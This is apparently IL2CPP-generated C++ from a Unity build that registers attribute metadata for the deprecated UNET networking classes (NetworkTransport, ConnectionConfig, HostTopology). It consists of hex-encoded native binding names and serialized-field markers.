static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_PopDataFromHost_mB17AEA581E92B7C403B4C14C01A796E55138D910(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x50\x6F\x70\x44\x61\x74\x61\x46\x72\x6F\x6D\x48\x6F\x73\x74"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_SetPacketStat_m15ED504FBE443CD2A560AC8B070B3FCE56C55C0B(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x53\x65\x74\x50\x61\x63\x6B\x65\x74\x53\x74\x61\x74"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_SetNetworkEventAvailableCallback_m9996DCB1B44D723DC6D555810D3A474B8A91B64F(CustomAttributesCache* cache)
{
{
NativeThrowsAttribute_tF59F2833BDD09C6C89298E603D5C3A598CC08137 * tmp = (NativeThrowsAttribute_tF59F2833BDD09C6C89298E603D5C3A598CC08137 *)cache->attributes[0];
NativeThrowsAttribute__ctor_m7FD0B7887043A2A47C39D7029EF5B8C713E08751(tmp, NULL);
}
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[1];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x53\x65\x74\x4E\x65\x74\x77\x6F\x72\x6B\x45\x76\x65\x6E\x74\x41\x76\x61\x69\x6C\x61\x62\x6C\x65\x43\x61\x6C\x6C\x62\x61\x63\x6B"), NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_Cleanup_m7BF767E0AB80E628379B2AF924E109666794B6F0(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x43\x6C\x65\x61\x6E\x75\x70"), NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_SetConnectionReadyForSendCallback_mD9660BB5DDC8630EBB844DC6A717D4F6CBF8EF05(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x53\x65\x74\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x52\x65\x61\x64\x79\x46\x6F\x72\x53\x65\x6E\x64\x43\x61\x6C\x6C\x62\x61\x63\x6B"), NULL);
}
{
NativeThrowsAttribute_tF59F2833BDD09C6C89298E603D5C3A598CC08137 * tmp = (NativeThrowsAttribute_tF59F2833BDD09C6C89298E603D5C3A598CC08137 *)cache->attributes[1];
NativeThrowsAttribute__ctor_m7FD0B7887043A2A47C39D7029EF5B8C713E08751(tmp, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_StartBroadcastDiscoveryWithData_mB0A23FD80B800FBE56A7A04E3FDB576B3A2F6E3C(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x53\x74\x61\x72\x74\x42\x72\x6F\x61\x64\x63\x61\x73\x74\x44\x69\x73\x63\x6F\x76\x65\x72\x79\x57\x69\x74\x68\x44\x61\x74\x61"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_StartBroadcastDiscoveryWithoutData_m985BE33A67959A02321F1780BB665662D46FD62B(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x53\x74\x61\x72\x74\x42\x72\x6F\x61\x64\x63\x61\x73\x74\x44\x69\x73\x63\x6F\x76\x65\x72\x79\x57\x69\x74\x68\x6F\x75\x74\x44\x61\x74\x61"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_StopBroadcastDiscovery_m5C62918176815E947016E1E1C0219A7847E29137(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x53\x74\x6F\x70\x42\x72\x6F\x61\x64\x63\x61\x73\x74\x44\x69\x73\x63\x6F\x76\x65\x72\x79"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_SetBroadcastCredentials_m9AE78E56E8AE5184F84E749E224B37FC45B9BBD2(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x53\x65\x74\x42\x72\x6F\x61\x64\x63\x61\x73\x74\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_GetBroadcastConnectionInfo_m62F63910563D06061C43A1339D717939C785304A(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x47\x65\x74\x42\x72\x6F\x61\x64\x63\x61\x73\x74\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x49\x6E\x66\x6F\x49\x6E\x74\x65\x72\x6E\x61\x6C"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_SetMulticastLock_mA772C71777B14DD1453EF512F150C30EA3B363F7(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x53\x65\x74\x4D\x75\x6C\x74\x69\x63\x61\x73\x74\x4C\x6F\x63\x6B"), NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_GetBroadcastConnectionMessageInternal_mB15C89BE28F66259CFF5E24EBEAC2F6942793CB3(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x47\x65\x74\x42\x72\x6F\x61\x64\x63\x61\x73\x74\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x4D\x65\x73\x73\x61\x67\x65"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void ChannelQOS_tF55C4AC4858FAFCFBDA366C6F6B1E2B35DFFF3DE_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 * tmp = (ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 *)cache->attributes[0];
ObsoleteAttribute__ctor_mAC32A5CCD287DA84CDA9F08282C1C8B0DB7B9868(tmp, il2cpp_codegen_string_new_wrapper("\x54\x68\x65\x20\x55\x4E\x45\x54\x20\x74\x72\x61\x6E\x73\x70\x6F\x72\x74\x20\x77\x69\x6C\x6C\x20\x62\x65\x20\x72\x65\x6D\x6F\x76\x65\x64\x20\x69\x6E\x20\x74\x68\x65\x20\x66\x75\x74\x75\x72\x65\x20\x61\x73\x20\x73\x6F\x6F\x6E\x20\x61\x20\x72\x65\x70\x6C\x61\x63\x65\x6D\x65\x6E\x74\x20\x69\x73\x20\x72\x65\x61\x64\x79\x2E"), NULL);
}
}
static void ChannelQOS_tF55C4AC4858FAFCFBDA366C6F6B1E2B35DFFF3DE_CustomAttributesCacheGenerator_m_Type(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ChannelQOS_tF55C4AC4858FAFCFBDA366C6F6B1E2B35DFFF3DE_CustomAttributesCacheGenerator_m_BelongsSharedOrderChannel(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 * tmp = (ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 *)cache->attributes[0];
ObsoleteAttribute__ctor_mAC32A5CCD287DA84CDA9F08282C1C8B0DB7B9868(tmp, il2cpp_codegen_string_new_wrapper("\x54\x68\x65\x20\x55\x4E\x45\x54\x20\x74\x72\x61\x6E\x73\x70\x6F\x72\x74\x20\x77\x69\x6C\x6C\x20\x62\x65\x20\x72\x65\x6D\x6F\x76\x65\x64\x20\x69\x6E\x20\x74\x68\x65\x20\x66\x75\x74\x75\x72\x65\x20\x61\x73\x20\x73\x6F\x6F\x6E\x20\x61\x20\x72\x65\x70\x6C\x61\x63\x65\x6D\x65\x6E\x74\x20\x69\x73\x20\x72\x65\x61\x64\x79\x2E"), NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_PacketSize(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_FragmentSize(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_ResendTimeout(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_DisconnectTimeout(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_ConnectTimeout(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_MinUpdateTimeout(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_PingTimeout(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_ReducedPingTimeout(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_AllCostTimeout(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_NetworkDropThreshold(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_OverflowDropThreshold(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_MaxConnectionAttempt(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_AckDelay(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_SendDelay(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_MaxCombinedReliableMessageSize(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_MaxCombinedReliableMessageCount(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_MaxSentMessageQueueSize(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_AcksType(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_UsePlatformSpecificProtocols(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_InitialBandwidth(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_BandwidthPeakFactor(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_WebSocketReceiveBufferMaxSize(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_UdpSocketReceiveBufferMaxSize(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_SSLCertFilePath(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_SSLPrivateKeyFilePath(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_SSLCAFilePath(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_Channels(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_SharedOrderChannels(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void HostTopology_t268779309BB2D69F29D1A182662C79818813892B_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 * tmp = (ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 *)cache->attributes[0];
ObsoleteAttribute__ctor_mAC32A5CCD287DA84CDA9F08282C1C8B0DB7B9868(tmp, il2cpp_codegen_string_new_wrapper("\x54\x68\x65\x20\x55\x4E\x45\x54\x20\x74\x72\x61\x6E\x73\x70\x6F\x72\x74\x20\x77\x69\x6C\x6C\x20\x62\x65\x20\x72\x65\x6D\x6F\x76\x65\x64\x20\x69\x6E\x20\x74\x68\x65\x20\x66\x75\x74\x75\x72\x65\x20\x61\x73\x20\x73\x6F\x6F\x6E\x20\x61\x20\x72\x65\x70\x6C\x61\x63\x65\x6D\x65\x6E\x74\x20\x69\x73\x20\x72\x65\x61\x64\x79\x2E"), NULL);
}
}
static void HostTopology_t268779309BB2D69F29D1A182662C79818813892B_CustomAttributesCacheGenerator_m_DefConfig(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void HostTopology_t268779309BB2D69F29D1A182662C79818813892B_CustomAttributesCacheGenerator_m_MaxDefConnections(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void HostTopology_t268779309BB2D69F29D1A182662C79818813892B_CustomAttributesCacheGenerator_m_SpecialConnections(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
